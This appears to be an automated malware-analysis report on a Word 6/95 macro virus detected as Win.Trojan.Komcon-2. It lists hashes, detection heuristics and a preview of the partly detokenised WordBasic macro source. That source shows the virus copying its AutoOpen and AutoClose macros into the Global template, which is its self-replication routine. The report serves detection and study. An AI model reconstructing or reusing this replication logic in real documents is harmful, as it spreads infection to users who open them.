Win.Trojan.Komcon-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 2719bf803d178f67…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 3a093efa0e0392bf501503cbfc76f2cf SHA-1: 73670611ae056c832427feea14ae55d6ea5258fc SHA-256: 2719bf803d178f67c2ff15036a873fe1a0e932b74640dcb92ac08ccb26b56629
102 Risk Score

Malware Insights

Win.Trojan.Komcon-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The critical ClamAV detection explicitly names the sample as 'Win.Trojan.Komcon-2'. The presence of legacy WordBasic macro virus markers and the document body referencing 'RSN MACRO VIRUS Goat file' strongly suggest a macro-based threat. The macro itself likely contains malicious code, though specific execution details are not available from the provided evidence.

Heuristics 3

  • ClamAV: Win.Trojan.Komcon-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Komcon-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 510 bytes
SHA-256: 967f39c7549f9e25d341f3777703e5f0bc5b5c229a4015847e6363bebc02299c
Preview script
First 1,000 lines of the extracted script
29551
MAIN
sMe$ = @cmd8025
REM MsgBox MacroFileName$()
sMacro$ = sMe$ = ":AutoClose"
@cmd80c2 sMacro$ , "Global:AutoClose"
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 sMacro$ , "Global:AutoOpen"
MAIN
@cmd6f42   20069
, - * Abort
dlg @cmd0054
dlg
dlg = 0 dlg = 1
sMe$ = @cmd8025
@cmd0054 dlg
REM --------------------------------------------------------
sMe$ = @cmd8025
sMacro$ = sMe$ = ":AutoClose"
@cmd80c2 "Global:AutoClose" , sMacro$
sMacro$ = sMe$ = ":AutoOpen"
@cmd80c2 "Global:AutoOpen" , sMacro$
@cmd0054 dlg